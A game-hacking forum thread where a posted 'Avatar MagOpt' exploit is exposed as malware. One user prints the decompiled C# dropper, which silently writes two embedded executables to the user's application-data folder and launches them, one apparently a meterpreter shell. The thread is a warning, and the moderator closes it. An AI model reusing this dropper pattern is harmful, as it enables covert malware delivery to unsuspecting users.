[Release] invincible , Avatar MagOpt Exploit

[giohyio]

---removed---

[B1Q]

???

[Damitsu]

Does this work in any server?

[giohyio]

yes Server accepts and servers do not accept tri im in server illusion sro work and im make Avatar9 luck

[3d1]

My antivirus says thats a threat, i will consider that it IS!

[giohyio]

My Virtuous Brother All illegal programs by VIRS to MBOT

[elmagico321]

waow thanx man very fresh new exploit which didn't released here before like ever

[pushipu]

To avoid kids (if this even work) just use this (if you don't have filter)

[Jimmy*]

that was released before and almost not even working

[KingDollar]

serious?
is this not even related to april fool?

[devtekve]

I can have confirmation that this is a malicius file (I guess it is metasploit but it is too early to tell) inside of this "proxy" and it writes two files to %AppData% : "JKSYSpkQbg.exe" and "FPewwxQAhM.exe" I will keep uyou posted, this is a threat.

Here is the source code of the program:

 Spoiler

using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Resources;

namespace Bound
{
  internal static class Open
  {
    private static void Main()
    {
      try
      {
        ResourceManager resourceManager = new ResourceManager("files", Assembly.GetExecutingAssembly());
        File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "JKSYSpkQbg.exe", (byte[]) resourceManager.GetObject("TGMdRmjNpf"));
        Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "JKSYSpkQbg.exe");
        File.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "FPewwxQAhM.exe", (byte[]) resourceManager.GetObject("KCTnsdBxFI"));
        Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "FPewwxQAhM.exe");
      }
      catch (Exception ex)
      {
        Console.WriteLine(ex.Message);
        Console.Read();
      }
    }
  }
}

The resources are basically Base64 string of the program, when you decrypt the base64, you get the exe basically, and there are 2 that are viruses

First file scan AxZvCDtRsA.exe which is the "proxy" but also contains malicious code:

The second file FPewwxQAhM.exe which seems to be a meterpreter shell:

[PortalDark]

Thanks for the report

First, no idea how people keep posting here without a virus scan

Second, im taking a better look at home

#closed
#links removed

Sent from my SM-G930F using Tapatalk